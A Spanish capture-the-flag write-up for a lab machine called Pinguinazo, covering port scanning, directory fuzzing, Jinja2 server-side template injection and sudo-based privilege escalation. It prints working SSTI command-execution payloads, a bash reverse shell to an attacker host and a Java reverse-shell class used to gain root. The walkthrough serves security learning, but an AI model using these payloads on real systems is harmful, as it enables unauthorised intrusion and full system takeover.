# Pinguinazo

### 🔍 **RECONOCIMIENTO**

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 172.17.0.2
```

para verificar la conectividad de red.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FOrjzKsk6IfDi0uwYuz8t%2Fimage.png?alt=media&#x26;token=b49967ed-0eb3-4900-8dd4-1929cd07e81c" alt=""><figcaption></figcaption></figure>

A continuación, se realiza el comando:

```bash
nmap -p- --open -sT --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FdL7mTeMuHd3r5EqnPLqI%2Fimage.png?alt=media&#x26;token=e8bacf9d-cb22-4fae-9976-a6dfb48e71d2" alt=""><figcaption></figcaption></figure>

Durante el escaneo, se identificó que el puerto 5000/tcp está abierto y asociado al servicio `upnp`. El estado del puerto es `open` y la razón es `syn-ack`.

### 🔎 **EXPLORACIÓN**

Para saber más información sobre el puerto abierto, se realiza el siguiente comando:

```bash
nmap -sCV -p5000 172.17.0.2 -oN targeted
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fp3nE9D5NIIrEIYjVIPy0%2Fimage.png?alt=media&#x26;token=e459c4e0-6917-4cf8-ac3d-d5da5f5cf324" alt=""><figcaption></figcaption></figure>

Parece que estamos tratando con un servidor que utiliza **Werkzeug** con **Flask**. Vamos a realizar una inspección manual de este sitio web.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F02URwq6OFMXIuouIJl6B%2Fimage.png?alt=media&#x26;token=d9bb470e-b0a3-4c9e-a9b0-04845c731868" alt=""><figcaption></figcaption></figure>

Ahora buscaremos directorios con la herramienta **Gobuster** a través de:

```bash
gobuster dir -u http://172.17.0.2:5000/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FUZPqlVN7G2xEZMOCnQ7e%2Fimage.png?alt=media&#x26;token=db29fe18-3c2c-444b-ab89-a4893a809bc4" alt=""><figcaption></figcaption></figure>

Hemos encontrado un directorio llamado `console`, que en este tipo de servidores podría permitir la ejecución remota de código (RCE). Sin embargo, está protegido por un PIN, así que continuaremos con la enumeración.

Parece que el fuzzeo hasta ahora no ha proporcionado más resultados. Vamos a experimentar con el formulario que encontramos al principio. Observamos que hay una reflexión en el campo del nombre, por lo que probaremos si interpreta el código HTML.&#x20;

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F1fCmJPOFjNk5XnKzPttm%2Fimage.png?alt=media&#x26;token=34991dcd-42d1-4cb4-a50b-a2fcc32dacf5" alt=""><figcaption></figcaption></figure>

Hemos confirmado que el formulario interpreta etiquetas HTML. Ahora, vamos a probar si es vulnerable a un ataque de SSTI (Server-Side Template Injection) utilizando el payload `{{7+7}}`. Si la operación se ejecuta correctamente, esto indicará que es posible inyectar y ejecutar comandos a través de estas plantillas.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FDJxeVlCnU89hTpDgXNyP%2Fimage.png?alt=media&#x26;token=a00a75ad-7077-4752-a7a0-0aa3b0e28946" alt=""><figcaption></figcaption></figure>

Como se ha realizado correctamente inyectaremos una reverse shell y así poder obtener el acceso al sistema.

Después de investigar varios payloads para **Jinja2**, encontramos uno que permite ejecutar un comando para enviar una shell a nuestra máquina atacante. Utilizamos **HackTricks** y el repositorio de **PayloadAllTheThings** para esta investigación. Enviaremos un **payload** para ver el ID de usuario.

```
{{ cycler.__init__.__globals__.os.popen('id').read() }}
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FyRWqcBVsAZ3Cz2jjRy2y%2Fimage.png?alt=media&#x26;token=54a3195c-af5d-4ae3-9749-3550e154b9b8" alt=""><figcaption></figcaption></figure>

Con esta información, intentaremos establecer una **shell** utilizando este método. Ejecutaremos el siguiente comando, que hemos adaptado para incluir nuestra propia shell, tal como se detalla en la página mencionada.

```bash
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('bash -c \'bash -i >& /dev/tcp/172.17.0.1/443 0>&1\'').read() }}
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FpQamJC97feaRebSTOVh1%2Fimage.png?alt=media&#x26;token=0d901541-ff38-437c-813f-8b3724b327a1" alt=""><figcaption></figcaption></figure>

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FXQe6u5rZ1mGLS7fZZobT%2Fimage.png?alt=media&#x26;token=f8fd2e13-6da5-4855-b0c2-6a56d4494336" alt=""><figcaption></figcaption></figure>

En **GTFOBins** no encontramos información relevante para nuestro caso, pero hemos encontrado información útil en la siguiente página:

[RevShells](https://www.revshells.com/)

Esta página proporciona una variedad de técnicas y ejemplos para obtener shells reversas en diferentes entornos, lo cual puede ser crucial para nuestra investigación y para implementar un método adecuado para el objetivo.

```bash
public class shell {
    public static void main(String[] args) {
        Process p;
        try {
            p = Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/172.17.0.1/4444 0>&1");
            p.waitFor();
            p.destroy();
        } catch (Exception e) {}
    }
}
```

Nos ponemos en escucha con **netcat**, esta vez por el puerto **4444** y ejecutamos como sudo el fichero java que hemos creado.

```bash
nc -lvnp 4444
```

Conseguimos ser **root**.
